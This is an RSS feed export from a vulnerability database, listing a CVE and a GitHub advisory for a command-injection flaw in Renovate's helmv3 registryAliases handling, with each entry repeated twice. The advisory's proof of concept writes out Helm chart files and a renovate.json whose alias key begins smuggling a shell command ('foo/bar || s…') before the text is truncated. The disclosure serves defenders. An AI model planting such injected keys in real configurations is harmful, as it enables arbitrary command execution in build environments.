https://vulnerability.circl.lu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sun, 11 Oct 2026 14:39:39 +0000 https://vulnerability.circl.lu/vuln/cve-2024-58376 <p><strong>Affected:</strong> renovatebot renovate</p> <p>Renovate versions 37.158.0 before 37.199.0 contain a command injection vulnerability in the helmv3 manager&#39;s registryAliases handling that allows attackers with commit access to execute arbitrary commands. Attackers can manipulate registryAliases keys with unquoted shell metacharacters to inject commands executed during helm repo add operations, gaining full access to Renovate&#39;s execution environment.</p> <p><strong>Affected:</strong> renovatebot renovate</p> <p>Renovate versions 37.158.0 before 37.199.0 contain a command injection vulnerability in the helmv3 manager&#39;s registryAliases handling that allows attackers with commit access to execute arbitrary commands. Attackers can manipulate registryAliases keys with unquoted shell metacharacters to inject commands executed during helm repo add operations, gaining full access to Renovate&#39;s execution environment.</p> https://vulnerability.circl.lu/vuln/cve-2024-58376 https://vulnerability.circl.lu/vuln/ghsa-rqgv-292v-5qgr <p><strong>Affected:</strong> npm: renovate</p> <p>### Summary</p> <p>Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.</p> <p>### Details</p> <p>Since [#26848](https://github.com/renovatebot/renovate/pull/26848), `registryAliases` has become mergeable. This means that the helmv3 manager started honoring its value and uses a `helm repo add &lt;key&gt; &lt;parameters&gt;` command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80 The key was not quoted, leading to the ability to use variable references (`$FOO`) in it and have them printed by Renovate on the pull request, or even running any shell commands.</p> <p>### PoC</p> <p>Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:</p> <p>test-chart/Chart.yaml:</p> <p>``` apiVersion: v2 name: redis version: 1.0.0 dependencies: - name: redis version: 18.13.10 repository: oci://registry-1.docker.io/bitnamicharts ```</p> <p>test-chart/Chart.lock:</p> <p>``` dependencies: - name: redis repository: oci://registry-1.docker.io/bitnamicharts version: 18.13.10 digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38 generated: &#34;2024-02-16T13:31:20.807026334Z&#34; ```</p> <p>Then add the following `renovate.json`:</p> <p>```json { &#34;$schema&#34;: &#34;https://docs.renovatebot.com/renovate-schema.json&#34;, &#34;extends&#34;: [ &#34;config:base&#34; ], &#34;registryAliases&#34;: { &#34;foo/bar || s…</p> <p><strong>Affected:</strong> npm: renovate</p> <p>### Summary</p> <p>Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.</p> <p>### Details</p> <p>Since [#26848](https://github.com/renovatebot/renovate/pull/26848), `registryAliases` has become mergeable. This means that the helmv3 manager started honoring its value and uses a `helm repo add &lt;key&gt; &lt;parameters&gt;` command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80 The key was not quoted, leading to the ability to use variable references (`$FOO`) in it and have them printed by Renovate on the pull request, or even running any shell commands.</p> <p>### PoC</p> <p>Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:</p> <p>test-chart/Chart.yaml:</p> <p>``` apiVersion: v2 name: redis version: 1.0.0 dependencies: - name: redis version: 18.13.10 repository: oci://registry-1.docker.io/bitnamicharts ```</p> <p>test-chart/Chart.lock:</p> <p>``` dependencies: - name: redis repository: oci://registry-1.docker.io/bitnamicharts version: 18.13.10 digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38 generated: &#34;2024-02-16T13:31:20.807026334Z&#34; ```</p> <p>Then add the following `renovate.json`:</p> <p>```json { &#34;$schema&#34;: &#34;https://docs.renovatebot.com/renovate-schema.json&#34;, &#34;extends&#34;: [ &#34;config:base&#34; ], &#34;registryAliases&#34;: { &#34;foo/bar || s…</p> https://vulnerability.circl.lu/vuln/ghsa-rqgv-292v-5qgr